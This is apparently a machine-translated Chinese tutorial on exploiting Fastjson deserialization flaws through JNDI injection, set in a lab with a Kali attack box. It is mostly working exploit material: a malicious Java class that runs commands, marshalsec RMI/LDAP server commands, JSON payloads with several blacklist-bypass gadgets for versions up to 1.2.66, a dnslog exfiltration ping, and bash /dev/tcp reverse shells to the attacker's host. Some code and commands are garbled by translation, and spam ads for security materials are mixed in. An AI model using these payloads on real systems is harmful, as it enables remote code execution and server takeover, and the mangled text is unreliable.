A simple introduction

1. FastJson profile

The fastjson.jar package was originally downloaded at github.com/alibaba/fas…

Fastjson is used to serialize Java beans to JSON strings or to deserialize from JSON strings to Javabeans. Fastjson. jar is a package developed by Ali specially for Java development, which can easily realize the conversion between JSON objects and JavaBean objects, JavaBean objects and JSON strings, and REALIZE the conversion between JSON objects and JSON strings. In addition to this Fastjson, there is also a Gson package developed by Google, other forms such as net.sf.json package, can implement JSON conversion. The method name is different, but the end result is the same.

JSONObject obj = new JSONObject().fromobject (jsonStr); JSONObject obj= json.parseObject (jsonStr); // Convert json strings to JSON objectsCopy the code

1.1 the JNDI

JNDI is Java Naming and Directory Interface, one of the most important specifications in the J2EE specification. JNDI provides a unified client API that provides developers with a common, unified interface to find and access naming and directory services that can be used to locate resources such as users, networks, machines, objects, and services. For example, YOU can use JNDI to locate a printer on a LAN, or you can use JNDI to locate a database service or a remote Java object. The JNDI underlayer supports RMI remote objects, and RMI registered services can be accessed and invoked through the JNDI interface.

JNDi is an application design Api that dynamically loads data by name. It supports the following services:

DNS, LDAP, CORBA Object Service, RMICopy the code
2021 Latest collation network security penetration test security learning materials (little white video network security books 100 books essential kit SRC document CTF access)

1.2 Use JNDI References for injection

For this, we need to understand the role of RMI.

First, RMI (Remote Method Invocation) is a Remote Method Invocation mechanism designed for Java environment. The Remote server implements the Java Method and provides the interface. The local client only needs to provide the corresponding parameters according to the definition of the interface class to invoke the Remote Method. RMI relies on the Java Remote Message Protocol (JRMP), which is customized for Java and requires both the server and client to be written in Java. This protocol, like the HTTP protocol, specifies the specifications to be met for client-server communication. Objects are encoded and transmitted in RMI through serialization. RMI server can bind the object of a remote call directly, but also by the References to bind an external remote object, when the RMI binding after the References, first will use Referenceable. GetReference () to obtain the binding object reference, When the client uses lookup to obtain the corresponding name, it returns the ReferenceWrapper proxy file, calls getReference() to obtain the Reference class, and converts the Reference to a specific object instance using the Factory class.

The service side

import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); / / the Reference to the incoming three parameters (className, factory, factoryLocation) / / the first parameter at random to fill, the second parameter fill out our HTTP service under the name of the class, RefObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/"); RefObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); }}Copy the code

As you can see from the ReferenceWrapper source, this class inherits from UnicastRemoteObject and wraps Reference so it can be accessed remotely via RMI

The client

import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class JNDIClient { public static void main(String[] args) throws Exception{ try { Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:8000/refObj"); } catch (NamingException e) { e.printStackTrace(); }}}Copy the code

If we can control the URLS passed in by the JNDI client, we can raise a malicious RMI and let JNDI load our malicious classes for command execution.

The References class has two attributes, className and codebase URL. ClassName is the name of the remote reference class. Codebase determines the location of our remote class. When no corresponding class is found in the local classpath, we request the codebase class (codebase supports HTTP). If we change the codebase class to our malicious class, we can let the client execute.

Ps: After Java version 1.8u191, there is a restriction on TrustCodeBase EURl, which can only trust the existing codebase address, and can no longer download bytecode from the specified codebase.

The whole utilization process is as follows

1. Start the HTTP server first and put our malicious classes in the directory 2. Enabling the malicious RMI server 3. The attacker controls the URL parameter to be the address of the malicious RMI server enabled in the previous step 4. The malicious RMI server returns ReferenceWrapper class 5. The target (JNDI_Client) changes the ReferenceWrapper to the Reference class in the decodeObject when performing the lookup operation, and then remotely loads and instantiates our Factory class (i.e. the malicious class on our HTTP server). Trigger malicious code in a static snippet on instantiationCopy the code

2.FastJson penetration summary

1. Deserialization is commonly used in two ways, one based on RMI and the other based on LDAP. 2.RMI is a behavior that refers to Java remote method calls. 3.JNDI is an interface under which various directory system services are implemented to find relevant objects by name and download them to the client. 4. Ldap refers to lightweight directory service protocol.Copy the code

Java version restrictions exist:

JDK version: JDK 6U132, JDK 7U131, JDK 8U121 before; In JDK8U122, a deserialization whitelist mechanism was added to turn off rmI remote loading code. Ldap is applicable to JDK versions earlier than JDK 11.0.1, 8U191, 7U201, or 6U211. In the Java 8U191 update, Oracle placed the same restriction on LDAP vectors and released CVE-2018-3149, turning off JNDI remote class loading. The application scope of LDAP is larger than that of RMI. In actual situations, LDAP is recommended.Copy the code

2.1 FastJSON 1.2.24 Deserialization Cause Arbitrary Command Execution Vulnerability (CVE-2017-18349)

Vulnerability principle

FastJson allows you to instantiate a specific class using autoType and call the set/ GET methods of that class to access properties during JSON parsing. By looking for relevant methods in your code, you can construct chains of malicious exploitation.

When fastJSON autoType is used to process JSON objects, the @Type field is not fully verified for security. An attacker can pass in a dangerous class and call the dangerous class to connect to the remote RMI host and execute the code through the malicious class. In this way, attackers can realize the use of remote code execution vulnerability, obtain sensitive information leakage of the server, and even use this vulnerability to further modify, add, delete and other operations on the server data, causing a huge impact on the server.

Affects version

Fastjson < 1.2.25

Copy the code

Bugs start

Target plane: Ubuntu IP: 192.168.9.234 Attack plane: Kali IP: 192.168.10.65

Enable fastjson vulnerability

docker-compose up -d
docker ps

Copy the code

Accessing the target machine, you can see the output in JSON format:

Because no com is a Java 8 u102. Sun. Jndi.. Rmi object. TrustURLCodebase limit, we can use com. Sun. Rowset. JdbcRowSetImpl use chains, with the help of jndi injection to execute the command.

Run the following command on kali to simulate a POST request in JSON format using the curl command and return the result in JSON format. 404 is not reported.

Curl http://192.168.9.234:8090/ - H "content-type: application/json" -- data '{" name ":" ZCC ", "age" : 18}'Copy the code

Kali installs the Javac environment, which I have installed here

cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf JDK -8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version Java -versionCopy the code

Compile malicious class code

import java.lang.Runtime;
import java.lang.Process;
public class zcc{
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"touch", "/tmp/zcctest"};
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 // do nothing
 }
 }
}

Copy the code

javac zcc.java

Copy the code

Set up HTTP service to transmit malicious files

python -m SimpleHTTPServer 80

Copy the code

Compile and start RMI service:

1 Download marshalSec (I have it installed here) :

git clone https://github.com/mbechler/marshalsec.git

Copy the code

2 install Maven:

apt-get install maven

Copy the code

3. Use Maven to compile the marshalsec jar from the marshalsec file.

mvn clean package -DskipTests

Copy the code

4 then we use marshalsec project, start a RMI server, listen to port 9999, here IP is your HTTP service IP, here is kali’S IP:

Java - cp marshalsec - 0.0.3 - the SNAPSHOT - all. Jar marshalsec. Jndi. RMIRefServer "http://192.168.10.65/#zcc", 9999Copy the code

If you want to start the LDAP service, just change the RMI in the above command to LDAP, for example:

Java - cp marshalsec - 0.0.3 - the SNAPSHOT - all. Jar marshalsec. Jndi. LDAPRefServer "http://192.168.10.65/#zcc", 9999Copy the code

You can see that the request succeeded and that the malicious class is loaded.

5 use BP to capture packets and write to poC (remember to change the request mode to POST and the content-type to application/json) :

{" b ": {" @ type" : "com. Sun. Rowset. JdbcRowSetImpl", "dataSourceName" : "the rmi: / / 192.168.10.65:9999 / ZCC", "the autoCommit mode" : true}}Copy the code

You can see that the write succeeded.

Here we do a little test with dNSlog:

http://www.dnslog.cn/

Copy the code

Directly overwrite the original file;

"/bin/sh","-c","ping user.'whoami'.jeejay.dnslog.cn"

Copy the code

After you click Send, a message is displayed

To bounce the shell, you only need to modify the contents of commands in the malicious class. The code is as follows. It is suggested to use the second one.

"/ bin/bash", "- c", "the exec 5 < > / dev/TCP / 192.168.10.65/8899; cat <&5 | while read line; do $line 2>&5 >&5; Done "or"/bin/bash ", "-", "c bash - > I & / dev/TCP / 192.168.10.65/1234 0 > & 1"Copy the code

2.2 Fastjson 1.2.47 Remote Command Execution Vulnerability

Vulnerability principle

Fastjson is an open source JSON parser developed by Alibaba. It has excellent performance and is widely used in Java projects of various manufacturers. Fastjson has added a deserialized whitelist since version 1.2.24, while prior to version 1.2.48, attackers could successfully execute arbitrary commands using specially constructed JSON strings to bypass whitelist detection.

Affects version

Fastjson < 1.2.47

Copy the code

Bugs start

Because the target environment is its: 8 u102, this version has no com. Sun. Jndi.. Rmi object. TrustURLCodebase limit, we can use the rmi command execution.

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class zcc {
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"touch", "/tmp/zcctest111"};
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 // do nothing
 }
 }
}

Copy the code

Enabling the HTTP Service

python -m SimpleHTTPServer 8080 

Copy the code

Start RMI server with marshalSec project, listen on port 9998, and specify to load remote class Zcc.class:

Java - cp marshalsec - 0.0.3 - the SNAPSHOT - all. Jar marshalsec. Jndi. RMIRefServer "http://192.168.10.65/#zcc", 9999Copy the code

The payload is the same as the payload in 1.2.24. The payload is the same as the payload in 1.2.24.

{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "B" : {" @ type ":" com. Sun. Rowset. JdbcRowSetImpl ", "dataSourceName" : "the rmi: / / 192.168.10.65:9999 / ZCC", "the autoCommit mode" : true}}Copy the code

Rebound in the shell;

"/ bin/bash - c", ""," bash - > I & / dev/TCP / 192.168.10.65/8899 0 > & 1"Copy the code

2.3 Fastjson <=1.2.41 Vulnerability details

After the first Fastjson deserialization vulnerability was discovered, Ali set the autoTypeSupport property to false by default in version 1.2.25, and added the checkAutoType() function to protect against Fastjson deserialization vulnerability. Therefore, the Fastjson deserialization vulnerability discovered later is aimed at blacklist bypass to realize the purpose of attack utilization. Com. Sun. Rowset. JdbcRowSetlmpl in 1.2.25 version is added to the blacklist, fastjson a judgment conditions to determine whether a class names begin with “L” and “;” End, if yes, extract the name of the class and load it in, so add L to the head and L to the tail of the original class name; Can bypass the blacklist while loading the class.

Exp:

{ "@type":"Lcom.sun.rowset.JdbcRowSetImpl;" , "dataSourceName":"rmi://x.x.x.x:9999/rce_1_2_24_exploit", "autoCommit":true }Copy the code

The autoTypeSupport property is true. (fastjson>=1.2.25 defaults to false)

2.4 Fastjson <=1.2.42 Vulnerability details

Fastjson added a validation mechanism in 1.2.42. If the input class name begins and ends with L and; Remove the head and tail and then check the blacklist. Bypass method: nested two layers L and outside the class name; .

The original name of the class: com. Sun. Rowset. JdbcRowSetImpl bypass: LLcom. Sun. Rowset. JdbcRowSetImpl;;Copy the code

Exp:

{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;" , "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true }Copy the code

The autoTypeSupport property is true. (fastjson>=1.2.25 defaults to false)

2.5 Fastjson <=1.2.45 Vulnerability details

The jar package of Mybatis exists on the target server, and the version must be 3.X. x <3.5.0.

Use the blacklist bypass, org. Apache. Ibatis. The datasource in 1.2.46 version is added to the blacklist.

The autoTypeSupport property is true. (fastjson>=1.2.25 defaults to false)

Exp:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Ex ploit"}}Copy the code

2.6 Fastjson <=1.2.47 Vulnerability details

If the version is earlier than 1.2.48, the autoType is disabled. LoadClass the default cache to true, the use of step 2, the first to use Java. Lang. Class to get into the Class cache to the mapping, and then directly from the cache access to com. Sun. Rowset. JdbcRowSetlmpl this Class, bypassing the blacklist mechanism.

Exp:

{
 "a": {
 "@type": "java.lang.Class", 
 "val": "com.sun.rowset.JdbcRowSetImpl"
 }, 
 "b": {
 "@type": "com.sun.rowset.JdbcRowSetImpl", 
 "dataSourceName": "rmi://x.x.x.x:9999/exp", 
 "autoCommit": true
 }
}

Copy the code

2.7 Fastjson <=1.2.62 Vulnerability details

Bypass exp based on blacklist:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";

Copy the code

2.8 Fastjson <=1.2.66 Vulnerability details

[2021 Update on Network Security, Penetration Testing, Security Learning data Acquisition]

AutoTypeSupport: true (fastjson>=1.2.25 defaults to false)

{@ "type" : ". Org. Apache shiro. Jndi. JndiObjectFactory ", "resourceName" : "ldap: / / 192.168.80.1:1389 / Calc"} {@ "type" : "br.com.anteros.dbcp.AnterosDBCPConfig", "metricRegistry" : "ldap: / / 192.168.80.1:1389 / Calc"} {@ "type" : "org. Apache. Ignite. Cache. The jta. Jndi. CacheJndiTmLookup", "jndiNames" : "ldap: / / 192.168.80.1:1389 / Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {@ "type" : "Java. Util. Properties", "UserTransacti on" : "ldap: / / 192.168.80.1:1389 / Calc"}}Copy the code